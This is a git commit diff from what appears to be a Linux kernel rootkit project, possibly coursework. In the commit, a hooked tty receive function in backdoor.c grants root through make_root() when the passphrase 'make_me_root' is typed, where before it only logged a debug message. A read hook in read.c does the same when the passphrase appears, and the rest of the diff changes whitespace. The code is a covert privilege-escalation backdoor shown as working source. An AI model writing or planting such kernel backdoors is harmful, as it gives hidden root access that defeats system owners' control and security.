commit 3f4ea6e8f33fb9bc6ed48116fd68dbd61275034d
parent 64db58d07eb2628e2e8adff550daa4c4f20146d0
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 29 Nov 2020 17:27:31 +0100
has {p,t}ty backdoor elevate to root
Diffstat:
2 files changed, 12 insertions(+), 13 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -2,6 +2,7 @@
#include <linux/delay.h>
#include "common.h"
+#include "creds.h"
#include "backdoor.h"
#include "hook.h"
@@ -87,7 +88,7 @@ g7_receive_buf(struct tty_struct *_tty, const unsigned char *cp, char *fp, int c
if (index == strlen(buf)) {
index = 0;
- DEBUG_INFO("caught 'make_me_root'\n");
+ make_root();
}
}
diff --git a/src/read.c b/src/read.c
@@ -22,7 +22,7 @@ is_valid(char *buf, size_t size)
if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') {
return strspn(buf, accept) > 0;
}
-
+
return 0;
}
@@ -34,12 +34,12 @@ add_entry(pid_t key)
{
struct pid_entry *cur;
struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL);
+
new->pid = key;
new->str = kzalloc(MAX_BUF, GFP_KERNEL);
new->capacity = MAX_BUF;
new->iter = 0;
-
int found = 0;
hash_for_each_possible(pid_ht, cur, hlist, key)
if(cur->pid == key)
@@ -53,7 +53,7 @@ static void
remove_entry(pid_t key)
{
struct pid_entry *cur;
-
+
hash_for_each_possible(pid_ht, cur, hlist, key) {
if(cur->pid == key) {
kfree(cur->str);
@@ -79,13 +79,13 @@ get_entry(pid_t key)
* The idea here is to fill up our buffer as much as we can
* Should we reach the maximum capacity, we first of all
* compare what we read so far; if it's a match, grant root
- * Otherwise, we can safely move the last 11 bytes to the start
- * (as the worst case is reading 'make_me_roo', which
+ * Otherwise, we can safely move the last 11 bytes to the start
+ * (as the worst case is reading 'make_me_roo', which
* is 11 characters long)
* This means we need to offset str with (23 - 11) = 12 = SHIFT_OFF
**/
static void
-handle_compare(char *buf, pid_t pid, size_t size)
+handle_compare(char *buf, pid_t pid, size_t size)
{
struct pid_entry *entry;
entry = get_entry(pid);
@@ -100,7 +100,7 @@ handle_compare(char *buf, pid_t pid, size_t size)
i++;
entry->iter++;
}
-
+
if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) {
make_root();
return;
@@ -112,7 +112,6 @@ handle_compare(char *buf, pid_t pid, size_t size)
goto fill;
}
-
}
if(strstr(entry->str, PASSPHRASE))
@@ -122,9 +121,9 @@ handle_compare(char *buf, pid_t pid, size_t size)
void
handle_pid(pid_t pid, __user char *buf, size_t size)
{
- char *str = kzalloc(size, GFP_KERNEL);
+ char *str = kzalloc(size, GFP_KERNEL);
copy_from_user(str, buf, size);
-
+
//Early return on exact match, avoiding more expensive operations
if(strnstr(str, PASSPHRASE, size)) {
make_root();
@@ -140,4 +139,4 @@ handle_pid(pid_t pid, __user char *buf, size_t size)
}
kfree(str);
-}
-\ No newline at end of file
+}